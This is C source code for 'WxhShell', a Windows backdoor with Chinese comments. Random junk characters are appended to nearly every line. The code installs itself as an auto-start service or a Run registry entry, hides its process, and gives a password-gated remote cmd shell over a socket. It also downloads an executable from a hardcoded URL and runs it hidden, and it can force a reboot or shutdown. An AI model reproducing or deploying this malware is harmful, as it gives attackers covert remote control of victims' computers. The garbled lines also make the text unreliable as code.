  case 'd': { |w*s:p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZJ)Z  
    if(Boot(SHUTDOWN)) +)q ,4+K%}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q s5e  
    else { Y3:HQ0w`|  
    closesocket(wsh); p+]S)K GZw  
    ExitThread(0); I P#vfM  
    } q%kCTw  
    break; >_yL@^  
    } Y"8@\73(R  
  // 获取shell }>BNdm"Er  
  case 's': { zMP6hn  
    CmdShell(wsh); N^oP,^+U  
    closesocket(wsh); HLV8_~gQPf  
    ExitThread(0); IL.bwt pQD  
    break; -Z ,r\9d  
  } g*oX`K.  
  // 退出 0$Rn|yqf%  
  case 'x': { v\?J=|S+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |wuTw|  
    CloseIt(wsh); Fn`Zw:vp6  
    break; r7R'beiH  
    } -9{N7H  
  // 离开 \D z? h  
  case 'q': { v0)Y,hW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?o+%ckH  
    closesocket(wsh); "QXnE^  
    WSACleanup(); Y3[KS;_fr9  
    exit(1); ]m 3cm  
    break; `H:`JBe=+[  
        } )JTQZ,f3]  
  } +:jonN9d  
  } (N&?Z]|yr  
y-.{){uaD  
  // 提示信息 AH'c:w]~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gy):hGgN  
} BXdk0  
  } s1cu5eCt  
xOShO"4Z   
  return; Psx"[2iZm  
} |33t5}we  
LBD],Ba!  
// shell模块句柄 Iv  
int CmdShell(SOCKET sock) AzJ;E tR  
{ T_Tu>wQX  
STARTUPINFO si; r?[[.zm"7  
ZeroMemory(&si,sizeof(si)); dYD;Z<l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rf`_q7fm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B$2GEg]Ri  
PROCESS_INFORMATION ProcessInfo; kI(3Pf ].  
char cmdline[]="cmd"; T<Xw[PEnP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J'ce?_\?PY  
  return 0; qZ[HILh!  
} Gu$J;bXVj  
EQ^]W-gN  
// 自身启动模式 cd1-2-4U  
int StartFromService(void) P]^OSPRg  
{ ]3,9 ."^  
typedef struct ,|yscp8  
{ n;:.UGl9.  
  DWORD ExitStatus; #lqH/>`>  
  DWORD PebBaseAddress; cOdRb=?9  
  DWORD AffinityMask; y[l{ UBue:  
  DWORD BasePriority; V]J"v#!{  
  ULONG UniqueProcessId; #Swc>jYc  
  ULONG InheritedFromUniqueProcessId; .F@Lx45  
}   PROCESS_BASIC_INFORMATION; TE o  
bK#ZY  
PROCNTQSIP NtQueryInformationProcess; 5>%^"f  
m_Ed[h/I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n6Uh%rO7S|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j~\FDcG*ed  
\i,H1a  
  HANDLE             hProcess; ]8}2  
  PROCESS_BASIC_INFORMATION pbi; {9Qc\Ij  
AKjobA#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S)zw[m  
  if(NULL == hInst ) return 0; T=pP  
p<dw  C"z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "zNS6I?rzE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ` ~m/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8i;drvf  
7Z:HwZ  
  if (!NtQueryInformationProcess) return 0; 9A4n8,&sm  
f2gh|p`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Xp<O  
  if(!hProcess) return 0; ;sYDs71y  
um$U3'0e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [-l>f P0  
p@Os  
  CloseHandle(hProcess); sdCG}..`  
rN#9p+t$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P]}:E+E<.I  
if(hProcess==NULL) return 0; @ ^F{  
\M.?*p  
HMODULE hMod; rC|nE=i  
char procName[255]; ,V]FAIJ  
unsigned long cbNeeded; +|S)Mm8-  
R6 ej  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qOpwl*?x+  
w-)JCdS6Tb  
  CloseHandle(hProcess); o-_,l J7o^  
fl4@5AVY  
if(strstr(procName,"services")) return 1; // 以服务启动 ]5*H/8Ke7  
6w3[PNd  
  return 0; // 注册表启动 jl 7>  
} $Nvox<d0  
R3_;!/1  
// 主模块 MTE 1\,  
int StartWxhshell(LPSTR lpCmdLine) (K6vXq.;\\  
{ j3w~2q"r  
  SOCKET wsl; g1F9IB42@<  
BOOL val=TRUE; $ta"Ug.z  
  int port=0; ~a7@O^q 4  
  struct sockaddr_in door; #]i^L;u1A  
OBlQ   
  if(wscfg.ws_autoins) Install(); SI6?b1;-:F  
.u7grC C  
port=atoi(lpCmdLine); L*Ffic  
Gz\wmH&rVz  
if(port<=0) port=wscfg.ws_port; "3 2Ua3m:G  
1M_6X7PH  
  WSADATA data; P&c O2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >PdrLwKS  
uW}M1kq?+l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gQhYM7NP{5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P%w!4v ~"  
  door.sin_family = AF_INET; 7PfNPz<4+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {KTZSs $n  
  door.sin_port = htons(port); z:O:g?A  
+m}D.u*cp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6x!iL\Y~  
closesocket(wsl); )99^58my  
return 1; Bz,Xg-k+  
} d"ZsOq10D  
4rCw#mVtB  
  if(listen(wsl,2) == INVALID_SOCKET) { ~:C`e4  
closesocket(wsl); a(-t"OL\  
return 1; 2I=4l  
} 5P);t9O6  
  Wxhshell(wsl); |a0@4 :  
  WSACleanup(); _!vuDv%  
%&'[? LXD  
return 0; &ML-\aSal  
.)t*!$5=N  
} u8x#XESR7  
:9>U+)%  
// 以NT服务方式启动 _lH:%E*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PGTjOkx  
{ se_Oi$VZ{  
DWORD   status = 0; o|s|Wm x>u  
  DWORD   specificError = 0xfffffff; HXB & 6  
/I`-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k_OzkEM9!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?%>S5,f_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (f"LD8MJ/  
  serviceStatus.dwWin32ExitCode     = 0; \%W"KLP  
  serviceStatus.dwServiceSpecificExitCode = 0; 5S! !@P!,  
  serviceStatus.dwCheckPoint       = 0; -?)z@Lc  
  serviceStatus.dwWaitHint       = 0; *2m{i:3  
>/-Bg:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *@ S+J$  
  if (hServiceStatusHandle==0) return; 6I5LZ^/G9  
2;SiH]HNS  
status = GetLastError(); kKVNE h Tp  
  if (status!=NO_ERROR) -0*z"a9<p8  
{ vri<R8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q\le3KB  
    serviceStatus.dwCheckPoint       = 0; &X}i%etp^2  
    serviceStatus.dwWaitHint       = 0; Lnltt86  
    serviceStatus.dwWin32ExitCode     = status; baR*4{]  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0*/[z~Z-1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \q|<\~A  
    return; o7fJ@3B/  
  } =%crSuP  
J}VG4}L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P[gYENQ   
  serviceStatus.dwCheckPoint       = 0; 5&Le?-/\  
  serviceStatus.dwWaitHint       = 0; F*,RDM'M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GUvEOD=p  
} mv`ND&  
]M&KUgz  
// 处理NT服务事件,比如:启动、停止 I^gLiLUN*6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;<K#h9#*7  
{ y?xFF9W@H  
switch(fdwControl) p,S/-ph  
{ r )f+j@KF  
case SERVICE_CONTROL_STOP: yRldPk_  
  serviceStatus.dwWin32ExitCode = 0; pb|,rLNZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ob h@d|  
  serviceStatus.dwCheckPoint   = 0; u_%L~1+'  
  serviceStatus.dwWaitHint     = 0; J4m2|HK  
  { y-a3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^[hx`Rh`t  
  } >B+!fi'SS>  
  return; t`"pn <  
case SERVICE_CONTROL_PAUSE: *skmTioj&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QWAtF@qTV  
  break; V\r2=ok@y  
case SERVICE_CONTROL_CONTINUE: Gx h1wqLR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .]K{8[:hq  
  break; N9BfjT}  
case SERVICE_CONTROL_INTERROGATE: )8JM.:,  
  break; oYrg;]H  
}; %bgUU|CdA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ECvTmU'=  
} 8@d@T V!n&  
c#`&uLp  
// 标准应用程序主函数 wp>L}!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C"g bol^  
{ 6[& x7"  
qW|_|%{U+  
// 获取操作系统版本 9%^O-8!  
OsIsNt=GetOsVer(); "<yJ<lS&>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nm]m!.$d  
7Nlk:f)*-  
  // 从命令行安装 }]|e0 w:  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2 UPG8]  
fsUZG6  
  // 下载执行文件 6l& ,!fd  
if(wscfg.ws_downexe) { 4* V[^mht  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >|g(/@IO  
  WinExec(wscfg.ws_filenam,SW_HIDE); IQQ QB  
} sc$I,|d2  
#= @?)\~  
if(!OsIsNt) { oR'u&\mB  
// 如果时win9x,隐藏进程并且设置为注册表启动 WXe]Q bg  
HideProc(); ibh,d.*~g  
StartWxhshell(lpCmdLine); sff4N>XAl<  
} QeG3X+  
else 1SSS0&  
  if(StartFromService()) 5odXT *n  
  // 以服务方式启动 G]O5irsV  
  StartServiceCtrlDispatcher(DispatchTable); yVgHu#?PM  
else 40HhMTZ0-  
  // 普通方式启动 EjP9/V G@=  
  StartWxhshell(lpCmdLine); r>B|JPm  
Nf)$K'/  
return 0; Y |9  
} t"jiLOQ[6  
J7+[+Y  
S9d Xkd  
e@7UL|12  
=========================================== CI^s~M >  
#M@~8dAH}M  
U;t1 K  
8T88  
T}59m;I  
lESv  
" AejM\#>  
L5r02VzbD  
#include <stdio.h> a] 7nK+N  
#include <string.h> c/E'GG%Q%  
#include <windows.h> Y-lTPR<Eq  
#include <winsock2.h> {%c&T S@s  
#include <winsvc.h> Sm;@MI<@/  
#include <urlmon.h> lN*beOj  
jcHyRR1R  
#pragma comment (lib, "Ws2_32.lib") LZ RP}|  
#pragma comment (lib, "urlmon.lib") ~bsdy2&/q  
D!&]jkUN  
#define MAX_USER   100 // 最大客户端连接数 8J:=@X^}  
#define BUF_SOCK   200 // sock buffer b>Ea_3T/  
#define KEY_BUFF   255 // 输入 buffer %F\.1\&eE  
g)7@EU2  
#define REBOOT     0   // 重启 *Sps^Wl  
#define SHUTDOWN   1   // 关机 Wg,7k9I  
|5jrl|  
#define DEF_PORT   5000 // 监听端口 Q" r y@ (I  
MV]`[^xQ5  
#define REG_LEN     16   // 注册表键长度 6sG5 n7E-A  
#define SVC_LEN     80   // NT服务名长度 hbEqb{#}@  
88l1g,`**  
// 从dll定义API RK=Pm7L:`y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FmSE ]et  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nxna H!wS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *7b?.{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dh9@3. t  
Gn<0Fy2  
// wxhshell配置信息 sDAP'&  
struct WSCFG { ubRhJ~XB  
  int ws_port;         // 监听端口 sf/m@425  
  char ws_passstr[REG_LEN]; // 口令 #8zC/u\`=  
  int ws_autoins;       // 安装标记, 1=yes 0=no (4?^X  
  char ws_regname[REG_LEN]; // 注册表键名 S|af?IW  
  char ws_svcname[REG_LEN]; // 服务名 hu.p;A3p;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [w!T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X}Om)WCr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %a FZbLK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TO.STK`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T?RN} @D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aRElk&M  
3iUJ!gK  
}; yEk|(6+^  
hQ(^;QcSu  
// default Wxhshell configuration ^4NRmlb  
struct WSCFG wscfg={DEF_PORT, KDP"z  
    "xuhuanlingzhe", ]_|'N7J  
    1, -<9Qez)y  
    "Wxhshell", EV-sEl8ki  
    "Wxhshell", V'tR \b  
            "WxhShell Service", hnH<m7  
    "Wrsky Windows CmdShell Service", 0U:X[2|)  
    "Please Input Your Password: ", BMI`YGjY1  
  1, 7r^Cs#b+I  
  "http://www.wrsky.com/wxhshell.exe", bRrS d:e  
  "Wxhshell.exe" crOSr/I$  
    }; TGU7o:2  
zA}JVB  
// 消息定义模块 d3 i(UN]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A+GRTwj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4f~sRubK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a6cU<(WDeh  
char *msg_ws_ext="\n\rExit."; y10W\beJ  
char *msg_ws_end="\n\rQuit."; KC"&3  
char *msg_ws_boot="\n\rReboot..."; `"PHhCG+z  
char *msg_ws_poff="\n\rShutdown..."; ~JNE]mg  
char *msg_ws_down="\n\rSave to ";  otfmM]f  
CM$&XJzva  
char *msg_ws_err="\n\rErr!"; kZo# Ny  
char *msg_ws_ok="\n\rOK!"; jMCd`Q]K  
VcXr!4 M  
char ExeFile[MAX_PATH]; }st~$JsV1  
int nUser = 0; Pz[UAJ  
HANDLE handles[MAX_USER]; G[]%1 _QCO  
int OsIsNt; Dt>tTU 6  
-s!J3DB  
SERVICE_STATUS       serviceStatus; 3 !8#wn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GD)paTwO<  
Y0kcxpK/  
// 函数声明 B~k{f}  
int Install(void); }yn%_KQ0  
int Uninstall(void); O`1!&XT{x  
int DownloadFile(char *sURL, SOCKET wsh); ^|6#Vx  
int Boot(int flag); 0TA8#c  
void HideProc(void); AzF*4x  
int GetOsVer(void); 5Za<]qxr  
int Wxhshell(SOCKET wsl); gY[G>D=  
void TalkWithClient(void *cs); $xdo=4;|  
int CmdShell(SOCKET sock); p7Zeudmj  
int StartFromService(void); A'7Y{oPHX  
int StartWxhshell(LPSTR lpCmdLine); #<B?+gzFM{  
+X+R8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wBg?-ji3<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u/wX7s   
IKnf  
// 数据结构和表定义 <dE~z]P  
SERVICE_TABLE_ENTRY DispatchTable[] = -6uLww=w4  
{ H1%o)'Kut4  
{wscfg.ws_svcname, NTServiceMain}, >T*BEikC  
{NULL, NULL} jg'"?KSU~  
}; fKFD>u 0%  
I4w``""c  
// 自我安装 @ N'P?i  
int Install(void) '_Pb\ jK  
{ 0S;Ipg  
  char svExeFile[MAX_PATH]; B* 3_m _a  
  HKEY key; 0vDvp`ie#4  
  strcpy(svExeFile,ExeFile); CdCY#$Z  
e@vZg8Ie  
// 如果是win9x系统,修改注册表设为自启动 %rnRy<9  
if(!OsIsNt) { .Jg<H %%f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *P7n YjG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gdx %#@/  
  RegCloseKey(key); z=>PjIW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s0vcGh#w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); il{x?#Wrb  
  RegCloseKey(key); )>b1%x} =  
  return 0; _C1u}1hW#  
    } g(s}R ?  
  } "30=!k  
} $^ir3f+  
else { ak3WER|f#  
X"g,QqDD  
// 如果是NT以上系统,安装为系统服务 7KRNTnd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ho~WD'i  
if (schSCManager!=0) 'cQ`jWZQ  
{ #=Xa(<t  
  SC_HANDLE schService = CreateService ;UX9Em  
  ( 2fc+PE  
  schSCManager, r z@%rOWV  
  wscfg.ws_svcname, ;YQ6X>  
  wscfg.ws_svcdisp, Ue,eEer  
  SERVICE_ALL_ACCESS, QJkiu8r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a04S&ezj  
  SERVICE_AUTO_START, 1uA-!T*e>  
  SERVICE_ERROR_NORMAL, T}XJFV  
  svExeFile, n Zx^ej\  
  NULL, .1J`>T?=Q  
  NULL, 93w$ck},?G  
  NULL, @N> rOA  
  NULL, rSW{1o'  
  NULL rvnm*e,  
  ); G~*R6x2g  
  if (schService!=0) T_)+l)  
  { ahM? ;p  
  CloseServiceHandle(schService); Z,XivU&  
  CloseServiceHandle(schSCManager); I] m&h!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <bv9X?U  
  strcat(svExeFile,wscfg.ws_svcname); FuBUg _h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =5%}CbUU)4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T[0CD'|E  
  RegCloseKey(key); a,M/i&.e`  
  return 0; n1+J{EPH  
    } n=!5ha%#N  
  } q>#P|  
  CloseServiceHandle(schSCManager); )OGO wStz  
} ;]/cCi  
} J/vcP  
 :KRe==/  
return 1; yaX%<KBa\  
} 2b#> ~  
5M3)7  
// 自我卸载 e7U9"pk  
int Uninstall(void) U.W Mu%  
{ ,}Ic($ To  
  HKEY key; (G"/C7q  
n6INI~,  
if(!OsIsNt) { VK4"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bqR0./V  
  RegDeleteValue(key,wscfg.ws_regname); LA837%)  
  RegCloseKey(key); a>nV!b\n5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |qibO \_  
  RegDeleteValue(key,wscfg.ws_regname); 'BEM:1)  
  RegCloseKey(key); N sSl|m  
  return 0; f6HDfJmE  
  } g[xn0 rG  
} YH!` uU(Lh  
} FkoN+\d  
else { TUO#6  
qjvIp-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s8kkf5bu  
if (schSCManager!=0) 0`e- ;  
{ X_I.f6v{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W&a<Q)o*I  
  if (schService!=0) ( e(<4-&  
  { 1FC 1*7A[  
  if(DeleteService(schService)!=0) { "[ ]72PC  
  CloseServiceHandle(schService);  qZP>h4  
  CloseServiceHandle(schSCManager); D#&N?< }  
  return 0; + f?xVW<h  
  } PR1%  
  CloseServiceHandle(schService); 7Y'.yn  
  } C[(Exe  
  CloseServiceHandle(schSCManager); )8Sm}aC  
} 6~Xe$fP(  
} *,__\/U98  
[kq+a] q  
return 1; ;tLu  
} rB%acTCz=[  
T\Q)"GB  
// 从指定url下载文件 }u..m$h  
int DownloadFile(char *sURL, SOCKET wsh) uBC*7Mkm  
{ Ib8xvzR6I&  
  HRESULT hr; CpICb9w  
char seps[]= "/"; yq>3IS4O  
char *token;  kQm\;[R  
char *file; E>?T<!r~j  
char myURL[MAX_PATH]; x:Kca3pv_  
char myFILE[MAX_PATH]; 5 gbJTh<JU  
# S4{,  
strcpy(myURL,sURL); ]"M4fA  
  token=strtok(myURL,seps); a|@^ N  
  while(token!=NULL) Iih~rWJ  
  { {*%'vVv+  
    file=token; Ey u?T  
  token=strtok(NULL,seps); 8V3SZ17  
  } aOj5b>>  
PV%7 m7=x  
GetCurrentDirectory(MAX_PATH,myFILE); 4o2 C=?@(  
strcat(myFILE, "\\"); 2$? )VXtw  
strcat(myFILE, file); ]7^YPFc+  
  send(wsh,myFILE,strlen(myFILE),0); '&}B"1  
send(wsh,"...",3,0); !g~xn2m$R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  B9^@]  
  if(hr==S_OK) @Tr8.4  
return 0; #3u;Ox  
else =GjxqIv  
return 1; _A \c 6#  
8<uKzb(O:  
} fF8g3|p:  
@Tzh3,F2  
// 系统电源模块 QSy=JC9  
int Boot(int flag) *, o)`  
{ hC8'6h  
  HANDLE hToken; e p;_'  
  TOKEN_PRIVILEGES tkp; nQvv'%v0   
|k+Y >I&  
  if(OsIsNt) { l23#"gGb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o$YL\ <qp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A=|&N%lP'  
    tkp.PrivilegeCount = 1; z&d&Ky  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =8fp4# ]7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ek#{!9-  
if(flag==REBOOT) { \ey3i((L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :NO'[iE  
  return 0; nYMdYt04sl  
} xq.,7#3  
else { t8 #&bU X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $q{-)=-BXQ  
  return 0; QE$sXP7 &u  
} i}+K;,Da:8  
  } Qg9 N?e{z  
  else { TgVvp0F;  
if(flag==REBOOT) { O%y.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'cT R<LVo  
  return 0; a%sr*`  
} `(EY/EsY  
else { 7 rOziKZ"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d?*=<w!A  
  return 0; J(VJMS;_  
} c63DuHA*C  
} s 7iguFQ  
Qhsh{muw(  
return 1; sV'(y>PP%  
} :}v&TQ  
! iA0u  
// win9x进程隐藏模块 iXMs*G cK  
void HideProc(void) )&<BQIv9/  
{ try'%0}>  
'q8T*|/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {xp/1? Mo*  
  if ( hKernel != NULL ) ]i)m   
  { lzN\~5a}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); znzh$9tH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |[;9$Vn  
    FreeLibrary(hKernel); L\XnTL{  
  } 5\V>Sj(  
oEd+  
return; (\>3FwFHW|  
} htj:Z:C`  
MJd!J ]E6  
// 获取操作系统版本 HP^<2?K  
int GetOsVer(void) D$+9`  
{ !v;N@C3C  
  OSVERSIONINFO winfo; i<l_z&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,&rlt+wE  
  GetVersionEx(&winfo); 9`81br+~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +hI:5(_  
  return 1; o<`Mvw@Z  
  else 9}p?h1NrY  
  return 0; 4!64S5(7t  
} oW3j|V  
\C $LjSS-  
// 客户端句柄模块 D]\of#%T  
int Wxhshell(SOCKET wsl) t<wjS|4  
{ 9AO`Zk{/Ez  
  SOCKET wsh; d _ )5Ks}  
  struct sockaddr_in client; }lt5!u~}  
  DWORD myID; jT>G8}h  
S=B?bD_,c  
  while(nUser<MAX_USER) 3DRJl, v  
{ Fcz7   
  int nSize=sizeof(client); Z:9xf:g *  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vVQwuV  
  if(wsh==INVALID_SOCKET) return 1; r==d^  
A[:0?Ez=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f]%:.N~1w  
if(handles[nUser]==0) `Y>'*4a\  
  closesocket(wsh); q{T [|(!  
else vy&'A$ H  
  nUser++; |LhVANz  
  } B;x5os  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j5\z7  
E><$sN6  
  return 0; >-U'mkIH  
} pGz 5!d  
*\Z9=8yK  
// 关闭 socket \#Md3!MG  
void CloseIt(SOCKET wsh) >NLG"[\  
{ JBqL0H  
closesocket(wsh); OlRtVp1  
nUser--; FQY{[QvF~  
ExitThread(0); @^P<(%p  
} XhEZTg;  
) uM*`%  
// 客户端请求句柄 /LwS|c6}}  
void TalkWithClient(void *cs) `/ <y0H  
{ uuHg=8(  
#aI(fQZe  
  SOCKET wsh=(SOCKET)cs; 7R5m|h`M  
  char pwd[SVC_LEN]; 5@QJ+@j|  
  char cmd[KEY_BUFF]; DVJuX~'|!  
char chr[1]; we:P_\6  
int i,j; `JQw]\f4>  
-S\gDB bb  
  while (nUser < MAX_USER) { qa-%j+  
CFK{.{d]B  
if(wscfg.ws_passstr) { _uXb 9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~8JOPzK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %f)%FN . S  
  //ZeroMemory(pwd,KEY_BUFF); /1@py~ZX  
      i=0; i.Rxx, *?  
  while(i<SVC_LEN) { +{~ cX] |  
Vh?5  
  // 设置超时 d+45Y,|  
  fd_set FdRead; -%fc)y&$  
  struct timeval TimeOut; E!A+J63zsw  
  FD_ZERO(&FdRead); q$7w?(Lk  
  FD_SET(wsh,&FdRead); hZIbN9)8A  
  TimeOut.tv_sec=8; Ly46S  
  TimeOut.tv_usec=0; dzk1!yy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >//yvkZ9,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jXPf}{^  
_xsHU`(J#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -M6#,Ji  
  pwd=chr[0]; _ <Ip0?N  
  if(chr[0]==0xd || chr[0]==0xa) { ]qb>O:T  
  pwd=0; 8q]_> X  
  break; fQU5'wGp  
  } 5Vc~yMz  
  i++; &>n:7  
    } kfY. 9$(d  
bg\9Lbjr  
  // 如果是非法用户,关闭 socket |.OS7Gt?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `#*`hH8  
} U(+%iD60i  
:FUxe kz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ts\PZQ!q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j ];#=+  
vYybQ&E/  
while(1) { I!"/I8Y  
:x,dYJm  
  ZeroMemory(cmd,KEY_BUFF); L)i6UAo  
Z*R~dHr   
      // 自动支持客户端 telnet标准   }ssP%c]  
  j=0; w7E#mdW  
  while(j<KEY_BUFF) { tUksIUYD\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mg< v9#  
  cmd[j]=chr[0]; ~tLvD[n[  
  if(chr[0]==0xa || chr[0]==0xd) { z57q |  
  cmd[j]=0; ~Qd|.T  
  break; ta@fNS4  
  } Y .E.(\  
  j++; dy~M5,zn  
    } D W>O]\I  
0h kZ  
  // 下载文件 "yK)9F[9Mo  
  if(strstr(cmd,"http://")) { Mr*CJgy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); th{ie2$  
  if(DownloadFile(cmd,wsh)) 610u!_-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l*Q OM  
  else S\ K[l/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Z+U}QhHD6  
